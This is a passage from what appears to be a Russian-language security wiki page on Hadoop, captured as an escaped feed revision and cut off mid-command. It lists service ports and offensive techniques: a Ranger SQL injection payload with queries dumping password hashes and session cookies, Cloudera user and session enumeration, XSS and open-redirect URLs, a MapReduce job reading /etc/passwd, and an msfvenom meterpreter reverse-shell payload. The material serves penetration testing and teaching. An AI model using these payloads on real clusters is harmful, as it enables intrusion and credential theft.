Порт(tcp): 8031&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8033&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.admin.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager СontainerManager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 0&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Localizer ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8040&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.localizer.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Collector Service ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8048&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.collector-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8042, 8044&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8042), https(8044)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline RPC ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 10200&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8188, 8190&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8188), https(8190)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8047&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.admin.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8788&lt;br /&gt;
&lt;br /&gt;
Протокол: ???(http)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.webapp.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Node Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8046&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.uploader.server.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Client ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8045&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.sharedcache.client-server.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager AMRMProxyService ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8049&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.amrmproxy.address&lt;br /&gt;
&lt;br /&gt;
=== Router WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8089, 8091&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8089), https(8091)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== HttpFS (Hadoop HDFS over HTTP) ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 14000, 14001&lt;br /&gt;
&lt;br /&gt;
Протокол: http(14000), 14001(https)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
= Apache HBASE =&lt;br /&gt;
&lt;br /&gt;
= ZooKeeper =&lt;br /&gt;
&lt;br /&gt;
= Apache Ambari =&lt;br /&gt;
&lt;br /&gt;
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Все могут авторизоваться (даже стандартные юзеры)&lt;br /&gt;
&lt;br /&gt;
- Нет защиты (directory listing, no cookie flags, no CSRF)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-1775 - /logs/ логи&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== WebUI ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу http (порт 8080) и https (порт 8440). &lt;br /&gt;
&lt;br /&gt;
=== Registration/Heartbeat ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу https на порту 8441.&lt;br /&gt;
&lt;br /&gt;
=== Agent ===&lt;br /&gt;
&lt;br /&gt;
Порт 8670/tcp используется для Ping.&lt;br /&gt;
&lt;br /&gt;
= Apache Spark =&lt;br /&gt;
&lt;br /&gt;
= Apache Kafka/Storm =&lt;br /&gt;
&lt;br /&gt;
= Apache HIVE / DRILL =&lt;br /&gt;
&lt;br /&gt;
= Mahout =&lt;br /&gt;
&lt;br /&gt;
= Apache Solr / Lucene = &lt;br /&gt;
&lt;br /&gt;
= Apache Ranger =&lt;br /&gt;
&lt;br /&gt;
Компонент безопасности Hadoop с открытым исходным кодом.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Поддержка Kerberos&lt;br /&gt;
&lt;br /&gt;
- REST API&lt;br /&gt;
&lt;br /&gt;
- Журналы аудита&lt;br /&gt;
&lt;br /&gt;
- Модель разрешений на основе политики доступа (политики, юзеры, группы)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Интересные ИБ-проблемы:&lt;br /&gt;
&lt;br /&gt;
- Slow HTTP DOS&lt;br /&gt;
&lt;br /&gt;
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0265 - XSS в UserAgent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO: изучить как работает&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://ranger.apache.org/apidocs/index.html - API документация&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Admin  WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6080, 6182&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6180),https(6182)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/download/&amp;lt;policy_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-2174 - SQL injection.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/eventTime?eventTime=' or '1'='1&amp;amp;policyId=1&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):&lt;br /&gt;
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать сессии(куки) пользователей):&lt;br /&gt;
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection&lt;br /&gt;
&lt;br /&gt;
===  UNIX Auth Service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 5151&lt;br /&gt;
&lt;br /&gt;
Протокол: SSL/TCP&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.usersync.port&lt;br /&gt;
&lt;br /&gt;
===  Ranger KMS ===&lt;br /&gt;
&lt;br /&gt;
Порт: 9292, 9293&lt;br /&gt;
&lt;br /&gt;
Протокол: http(9292), https(9293)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
=== Solr Audit ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6083, 6183&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6083), https(6183)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger-admin (???)&lt;br /&gt;
&lt;br /&gt;
= OOZIE =&lt;br /&gt;
&lt;br /&gt;
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Web Console ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11000, 11443&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(11000), HTTPS(11443)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Admin service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11001&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
= PIG =&lt;br /&gt;
&lt;br /&gt;
= Apache Hue =&lt;br /&gt;
&lt;br /&gt;
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP. &lt;br /&gt;
&lt;br /&gt;
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.&lt;br /&gt;
&lt;br /&gt;
= MapReduce =&lt;br /&gt;
&lt;br /&gt;
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory ===&lt;br /&gt;
&lt;br /&gt;
Порт: 10020&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.address&lt;br /&gt;
&lt;br /&gt;
=== JobTracker ===&lt;br /&gt;
&lt;br /&gt;
Порт: 8021&lt;br /&gt;
&lt;br /&gt;
Протокол: IPC&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== JobTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50030&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory WebUI v2 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19888, 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(19888), HTTPS(19890)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
Доступен только в MapReduce v2&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee ===&lt;br /&gt;
&lt;br /&gt;
Порт: 13562&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.shuffle.port&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTPS&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== TaskTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50060&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.task.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== History Server WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 51111&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.history.server.http.address&lt;br /&gt;
&lt;br /&gt;
= Cloudera =&lt;br /&gt;
&lt;br /&gt;
Экосистема Hadoop от компании Cloudera&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== HUE ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 8888 по протоколу HTTP.&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/desktop/api/users/autocomplete&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Open redirect (версия меньше или равна 3.9.0).&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/accounts/login/?next=//[domain_name]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Manager ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 7180(http) и 7183(https).&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Получение списка пользователей (версия меньше или равна 5.5)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users/sessions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/process/&amp;lt;process_id&amp;gt;/logs?filename={stderr,stdout}.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/cloudera-director/redirect?classicWizard=[XSS]&amp;amp;clusterid=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Hadoop Attack Library ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library&lt;br /&gt;
&lt;br /&gt;
=== hadoopsnooper.py ===&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Скрипт для получения конфига hadoop&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== hdfsbrowser.py ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake&lt;br /&gt;
&lt;br /&gt;
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Видео ==&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
== Презентации ==&lt;br /&gt;
&lt;br /&gt;
https://2015.zeronights.org/assets/files/03-Kaluzny.pdf&lt;br /&gt;
&lt;br /&gt;
https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1206</id>
		<title>Hadoop</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1206"/>
				<updated>2022-09-16T11:57:06Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* = Admin service */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общее =&lt;br /&gt;
&lt;br /&gt;
== Получение конфига ==&lt;br /&gt;
&lt;br /&gt;
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.&lt;br /&gt;
&lt;br /&gt;
=== Сервисы ===&lt;br /&gt;
&lt;br /&gt;
==== WebUI ====&lt;br /&gt;
&lt;br /&gt;
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:&lt;br /&gt;
&lt;br /&gt;
* HDFS WebUI (много потов)&lt;br /&gt;
* JobHistory (19888, 19890) - в приоритете&lt;br /&gt;
* ResourceManager (8088, 8090)&lt;br /&gt;
. . .&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости ===&lt;br /&gt;
&lt;br /&gt;
Иногда конфиг можно скачать используя уязвимости ПО. &lt;br /&gt;
&lt;br /&gt;
==== Cloudera Manager ====&lt;br /&gt;
&lt;br /&gt;
Конфиг будет доступен по следующему адресу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
http://&amp;lt;cloudera_mgr_ip&amp;gt;:7180/cmf/services/&amp;lt;service_id_to_iterate&amp;gt;/client-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
service_id_to_iterate - можно получить перебором 0-100(или больше).&lt;br /&gt;
&lt;br /&gt;
=== Автоматически ===&lt;br /&gt;
&lt;br /&gt;
==== HadoopSnooper ====&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать файлы конфига:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.&lt;br /&gt;
&lt;br /&gt;
== Шифрование ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest). &lt;br /&gt;
&lt;br /&gt;
=== NameNode ===&lt;br /&gt;
&lt;br /&gt;
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:&lt;br /&gt;
&lt;br /&gt;
- GSS-API&lt;br /&gt;
&lt;br /&gt;
- Digest-MD5&lt;br /&gt;
&lt;br /&gt;
=== Web Apps ===&lt;br /&gt;
&lt;br /&gt;
Как правило, используется SSL/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DataNodes ===&lt;br /&gt;
&lt;br /&gt;
Шифрование может быть на 2 уровнях: &lt;br /&gt;
&lt;br /&gt;
1. обмен ключами используя 3DES или RC4&lt;br /&gt;
&lt;br /&gt;
2. Шифрование используя AES 128(default)/192/256.&lt;br /&gt;
&lt;br /&gt;
=== At-rest ===&lt;br /&gt;
&lt;br /&gt;
Означает хранилище файлов. Если кратко:&lt;br /&gt;
&lt;br /&gt;
* Данные шифруются DEK-ключем (Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
* DEK зашифрован ключем EZ (Encryption Zone) -&amp;gt; EDEK (Encrypted Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратный процесс:&lt;br /&gt;
&lt;br /&gt;
* EDEK запрашивается у NameNode&lt;br /&gt;
&lt;br /&gt;
* Запрашиваем KMS расшифровать EDEK - получаем DEK&lt;br /&gt;
&lt;br /&gt;
* Расшифровываем или зашифровываем данные с DEK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.&lt;br /&gt;
&lt;br /&gt;
== Поиск сервисов ==&lt;br /&gt;
&lt;br /&gt;
=== nmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts &amp;quot;*hadoop* or *hbase* or *flume*&amp;quot; АДРЕСА&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Общие атаки ==&lt;br /&gt;
&lt;br /&gt;
=== Node RCE ===&lt;br /&gt;
&lt;br /&gt;
Для этого требуется получить конфиг и настроить hadoop cli.&lt;br /&gt;
&lt;br /&gt;
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar&lt;br /&gt;
&lt;br /&gt;
Создаем задачу MapReduce:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
 hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt; \&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;/bin/cat /etc/passwd&amp;quot; \&lt;br /&gt;
-reducer NONE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Читаем результат команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hadoop fs –ls /output_directory_on_HDFS&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также результат команды можно увидеть в WebUI в консоли созданной задачи.&lt;br /&gt;
&lt;br /&gt;
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Бонус: эксплоит можно сгенерировать с msfvenom:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload&lt;br /&gt;
&lt;br /&gt;
hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt;&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
